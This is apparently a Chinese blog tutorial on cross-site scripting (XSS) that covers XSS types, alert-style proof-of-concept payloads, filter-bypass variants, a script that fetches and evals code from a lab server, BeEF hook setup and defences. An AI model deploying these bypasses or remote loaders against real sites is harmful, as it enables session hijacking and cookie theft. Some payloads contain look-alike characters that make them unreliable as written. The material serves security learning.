Web 安全之 XSS 攻击

1. XSS 漏洞概述

1.1 什么是 XSS 攻击

  • XSS 作为 OWASP top10 之一
  • XSS 被称为跨站脚本攻击(Cross-site-scripting)
  • XSS主要基于JS完成恶意的攻击行为
  • JS可以非常灵活的操作html、css、浏览器,使得XSS攻击的想象空间特别大

1.2 XSS 攻击对象

  • XSS 的对象是用户和浏览器
    • XSS 通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果
    • 用户访问被 XSS 脚本注入的网页XSS 脚本就会被提取出来,用户浏览器就会解析这段XSS代码,也就是说用户被攻击了
    • 用户最简单的动作就是使用浏览器上网,并且浏览器中有 javascript 解释器,可以解析 javascript ,然而浏览器不会判断代码是否恶意

在这里插入图片描述

1.3 XSS 攻击的场景

  • 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入 XSS 代码,都存在遭受 XSS 的风险,只要没有对用户的输入进行严格过滤,就会被 XSS

2. XSS 危害

  • XSS 利用 JS 代码实现攻击,有很多种攻击方法,以下简单列出几种
    • 盗取各种用户账号
    • 窃取用户 Cookie 资料,冒充用户身份进入网站
    • 劫持用户会话,执行任意操作
    • 刷流量,执行弹窗广告
    • 传播蠕虫病毒
    • 。。。

3. XSS 漏洞验证

  • 可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)
    • POC------漏洞的验证与检测
    • EXP------漏洞的完整利用工具
    • shellcode-利用漏洞时,所执行的代码
    • payload--攻击载荷
      • sqlmap----攻击代码的模版
      • msf--------shellcode 类似,功能是建立与目标的连接
  • 验证 XSS 漏洞存在的 PoC 如下
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

3.1 XSS 漏洞验证过程

  • 在测试页面中提交<script>alert(/xss/)</script>
  • 点击提交按钮,就能看到弹窗操作
  • 点击确定,右键查看网页源代码
  • 发现提交的代码<script>alert(/xss/)</script>,被当作字符串输出在 HTML 页面中
  • 浏览器会根据 <script> 标签识别为 JS 语句,并会执行它,执行弹窗操作
  • 也就是说,可以执行其他 JS 代码,因此验证了 XSS 漏洞的存在性

4. XSS 分类

  • XSS 漏洞大概可以分为三个类型:反射型 XSS存储型 XSSDOM 型 XSS

4.1 反射型XSS

  • 反射型XSS非持久性、参数型跨站脚本反射型XSS 的 JS 代码在 Web 应用的参数(变量)中
  • 搜索框的反射型XSS
    • 在搜索框中,提交 PoC <script>alert(/xss/)</script>点击搜索,即可触发反射型XSS
    • 注意到提交的 PoC 会出现在 search.php 页面的 keywords 参数

4.2 存储型XSS

  • 存储型XSS 是持久性跨站脚本
    • 持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中
  • 存储型XSS 通常发生在留言板等地方
    • 在留言板位置留言,将恶意代码写进数据库中
    • 因为XSS 使用的 JS 代码,JS 代码的运行环境是浏览器
    • 所以需要浏览器从服务器载入恶意的 XSS 代码,才能真正触发 XSS
    • 此时需要模拟网站后台管理员的身份,查看留言

4.3 DOM XSS

  • DOM XSS 比较特殊
  • owasp 关于 DOM 型号 XSS 的定义是基于 DOM 的 XSS 是一种 XSS 攻击
  • 其中攻击的 payload 由于修改受害者浏览器页面的 DOM 树而执行的
  • 其特殊的地方就是 payload 在浏览器本地修改 DOM 树而执行,并不会传到服务器上
  • 这也就使得 DOM XSS 比较难以检测
  • 如下面的例子
    • [#message=<script>alert(/xss/)</script>]
    • 锚点的方式提交PoC
    • PoC 并不会发送的服务器,但是已经触发了 XSS
    • 查看提交参数后的 HTML 页面(DOM 树),会形成鲜明的对比

5. XSS 构造

5.1 利用 [<>] 构造 HTML/JS

  • 可以利用 [<>] 构造 HTML 标签和 <script> 标签
  • 在测试页面提交参数 [<h1 style='color: red'>利用 [<>] 构造 HTML/JS</h1>]
  • 提交 [<script>alert(/xss/)</script>]

5.2 伪协议

  • 也可以使用 javascript: 伪协议的方式构造 XSS
    • [javascript:alert(/xss/);]
    • 提交参数 [<a href="javascript:alert(/xss/)">touch me!</a>]
    • 点击超链接,即可触发 XSS
  • 也可以使用 img 标签的伪协议,但是这种方法在 IE6 下测试成功
    • [<img src="javascript: alert('xss')">]

5.3 产生事件

5.3.1 事件驱动
  • "事件驱动"是一种比较经典的编程思想
  • 在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应
  • 所以可以通过事件触发 JS 函数,触发 XSS
5.3.2 事件种类
  • windows 事件 对 windows 对象触发的事件
  • Form 事件 HTML 表单内的动作触发事件
  • Keyboard 事件 键盘按键
  • Mouse 事件 由鼠标或类似用户动作触发的事件
  • Media 事件 由多媒体触发的事件
5.3.3 事件案例
  • 例如,[<img src='./smile.jpg' onmouseover='alert(/xss/)'>]
    • 这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发 XSS 代码
  • 单行文本框的键盘点击事件,[<input type="text" onkeydown='alert(/xss/)'>]
    • 当点击键盘任意一个按键的时候触发
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
<img src="#" onerror="alert(/xss/)">

5.4 利用 CSS 跨站(old)

  • 也可以利用 CSS(层叠样式脚本)触发 XSS
  • 但是这种方法比较古老,基本上不适合现在主流浏览器

5.5 其他标签及手法

  • 也可以用其他标签触发 XSS
    • [<svg onload="alert(/xss/)">]
    • [<input onfocus=alert(/xss/) autofocus>]

6. XSS 变形

  • 可以构造的 XSS 代码进行各种变形,以绕过 XSS 过滤器的检测

6.1 大小写转换

  • 可以将 payload 进行大小写转化
<img src="#" onerror="alert(/xss/)" />
<a href="javascript:alert(/xss/)">click me</a>

6.2 引号的使用

  • HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”
<img src="#" onerror="alert(/xss/)" />
<img src='#' onerror='alert(/xss/)' />
<img src=# onerror=alert(/xss/) />

6.3 [/] 代替空格

  • 可以利用左斜线代替空格
<img/src="#"/οnerrοr="alert(/xss/)" />

6.4 回车

  • 可以在一些位置添加 Tab(水平制表符)和回车符,来绕过关键字检测
<img/src='#'/οnerrοr='alert(/xss/)' />
<a href="javascript:alert(/xss/)">click me!</a>

6.5 对标签属性值进行转码

  • 可以对标签属性值进行转码,用来绕过过滤
  • 对应编码如下
字母 ASCII码 十进制编码 十六进制编码
a 97 &#97; &#x61;
e 101 &#101; &#x65;
  • 经过简单编码之后的样子
<a href="j&#97;v&#x61;script:alert(/xss/)">click me!</a>
  • 另外,可以将以下字符插入到任意位置
Tab &#9
换行 &#10
回车 &#13
  • 可以将以下字符插入到头部位置
SOH &#01
STX &#02
  • 经过编码后的样子
<a href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">click me!</a>

6.6 拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

6.7 双写绕过

<script>
<scr<script>ipt>

6.8 CSS 中的变形

6.8.1 使用全角字符
width:e x p r e s s i o n (alert(/xss/))
6.8.2 注释会被浏览器忽略
width:expr/*~*/ession(alert(/x~s~s/))
6.8.3 样式表中的 [] 和 [\0]
<style>@import 'javasc\ri\0pt:alert("xss")';</style>

7. Shellcode 调用

  • Shellcode 就是在利用漏洞所执行的代码
  • 完整的 XSS 攻击,会将 Shellcode 存放在一定的地方,然后触发漏洞,调用 Shellcode

7.1 远程调用JS

  • 可以将 JS 代码单独放在一个 js 文件中,然后通过 http 协议远程加载该脚本
  • 例如
    • <script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>
    • 这是比较常用的方式
    • XSS.js 的内容如下
      • alert('xss.js')

7.2 window.location.hash

  • 也可以使用 js 中的 windows.location.hash 方法获取浏览器 URL 地址栏的 XSS 代码
    • windows.location.hash 会获取 URL 中 # 后面的内容
    • 例如
      • http://domain.com/index.php#AJEST
      • windows.location.hash 的值就是 #AJEST
  • 可以构造如下代码
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)
  • 直接提交到测试页面 xss.php

7.3 XSS Downloader

  • XSS 下载器就是将 XSS 代码写到网页中,然后通过 AJAX 技术,取得网页中的 XSS 代码
    • 在使用 XSS Downloader 之前需要一个自己的页面
    • xss_downloader.php,内容如下
      • BOF|alert(/xss/)|EOF
  • 常见的下载器如下
<script>
function XSS(){
     
     
	if(window.XMLHttpRequest){
     
      // 判断是否是IE浏览器
		a = new XMLHttpRequest();
	}else if(window.ActiveXObject){
     
     
		a = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
     
     return;}
	a.open('get','http://172/.16.132.138/XSS-TEST/normal/xss_downloader.php',false);
	a.send();
	b=a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();
</script>
  • AJAX 技术会受到浏览器同源策略的限制
  • 为了解决这个问题,需要在服务器端代码中添加如下内容
<?php
	header('Access-Control-Allow-Origin: *');
	header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

7.4 备选存储技术

  • 可以把 Shellcode 存储在客户端的本地域中
    • 比如 HTTP Cookie、Flash 共享对象、UserData、localStorage 等

8. XSS 防御

8.1 使用 XSS Filter

  • XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范 XSS 攻击的效果
8.1.1 输入过滤
  • "永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤
8.1.2 输入验证
  • 输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据
    • 输入是否仅包含合法的字符
    • 输入字符串是否超过最大长度限制
    • 输入如果为数字,数字是否在指定的范围
    • 输入是否符合特殊的格式要求
      • 如 E-mail 地址、IP 地址等
8.1.3 数据消毒
  • 过滤和净化掉有害的输入
8.1.4 输出编码
  • HTML 编码主要是用对应的 HTML 实体代替字符
8.1.5 黑白名单
  • 不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤
    • 黑名单,非允许数据
    • 白名单,允许的数据

8.2 防御 DOM-XSS

  • 避免客户端文档重写、重定向或其他敏感操作

8.3 beef

  • XSS 神器
  • XSS 漏洞的利用平台
8.3.1 beef 启动
  • kali 中
    • 工具目录 /usr/share/beef-xss
    • 配置文件 config.yaml
    • 启动 beef 工具方法
      • beef-xss
      • /usr/share/beef-xss/beef
    • 修改默认用户名和密码
    • Web 界面管理控制台
      • http://172.16.132.128:3000/ui/panel
    • Shellcode
      • http://172.16.132.128:3000/hook.js
    • 测试页面
      • http://172.16.132.128:3000/demos/butcher/index.html
  • 浏览器劫持
  • Cookie 窃取与欺骗--固定会话攻击
    • data: cookie=username=admin; userid=1
document.cookie="username=admin";
document.cookie="userid=1"
  • 利用浏览器漏洞 getshell
    • msf
    • ms10002 xp

9. 总结

  • Web 安全第一课
  • 对经典的 XSS 攻击有个大致理解,做个笔记(面试问到了,但是没答上来)

猜你喜欢

转载自blog.csdn.net/qq_43645678/article/details/109477284